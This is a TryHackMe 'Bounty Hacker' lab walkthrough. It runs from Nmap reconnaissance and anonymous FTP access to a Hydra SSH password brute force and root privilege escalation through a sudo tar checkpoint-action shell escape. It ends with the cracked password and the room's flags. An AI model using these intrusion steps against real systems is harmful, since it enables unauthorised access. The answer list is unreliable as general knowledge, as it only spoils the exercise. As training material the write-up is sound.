TryHackMe - Bounty Hacker Writeup

A complete walkthrough for the Bounty Hacker room on TryHackMe. This room involves basic information gathering, FTP anonymous login, password cracking with Hydra, and Linux privilege escalation via tar. 

Challenge Information

• Target IP: 10.129.132.247
• Difficulty: Easy
• Platform: TryHackMe

Phase 1: Reconnaissance (Nmap Scanning)

We started by performing an aggressive network scan using Nmap to find open ports and running services on the target machine. 

bash

nmap -sC -sV 10.129.132.247

Scan Results:

• Port 21 (FTP): vsFTPd 3.0.5 (Anonymous login allowed)
• Port 22 (SSH): OpenSSH 8.2p1 Ubuntu
• Port 80 (HTTP): Apache httpd 2.4.41

Phase 2: Enumeration (FTP Anonymous Login)

Since the Nmap scan indicated that Anonymous FTP login was enabled, we connected to the FTP server without requiring specific user credentials. 

bash

ftp 10.129.132.247

• Username: Anonymous
• Password: (Left blank / pressed Enter)

Upon listing the directory contents (ls), we found two interesting files: locks.txt and task.txt. 

We downloaded both files to our local machine using the get command: 

bash

get task.txt

get locks.txt

Finding Answers:

• Reading task.txt revealed that the author/creator of the list signed it as -lin.
• Question Answered: Who wrote the task list? -> lin

Phase 3: Brute-Forcing SSH Credentials

With a valid username (lin) and a wordlist (locks.txt), we targeted the SSH service on port 22 using Hydra to find the correct password. 

bash

hydra -l lin -P locks.txt 10.129.132.247 ssh

Hydra Output:

text[ssh] host: 10.129.132.247 login: lin password: RedDr4gonSynd1cat3

1 of 1 target successfully completed, 1 valid password found

• Question Answered: What service can you bruteforce with the text file found? -> ssh
• Question Answered: What is the users password? -> RedDr4gonSynd1cat3

Phase 4: Initial Access & User Flag

Using the cracked credentials, we established an SSH connection to the target server: 

bash

ssh lin@10.129.132.247

After successfully logging in, we checked the current directory (~/Desktop) and successfully located and read the user flag. 

bash

lin@ip-10-129-132-247:~/Desktop$ ls

user.txt

lin@ip-10-129-132-247:~/Desktop$ cat user.txt

• User Flag: THM{CR1M3_SyNd1C4T3}

Phase 5: Privilege Escalation (Root Flag)

To elevate our privileges from user lin to root, we checked our sudo privileges using sudo -l and found that we can run /bin/tar as root without a password. 

We used a GTFOBins wildcard/checkpoint technique to break out into a root shell: 

bash

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

The shell dropped directly into a root session (#). From here, we moved into the root home directory to claim the final flag: 

bash

#cd /root

#cat root.txt

• Root Flag: THM{80UN7Y_h4cK3r}

Summary of Answers

1. Who wrote the task list? lin
2. What service can you bruteforce with the text file found? ssh
3. What is the users password? RedDr4gonSynd1cat3
4. user.txt: THM{CR1M3_SyNd1C4T3}
5. root.txt: THM{80UN7Y_h4cK3r}

Room Successfully Completed! 🎯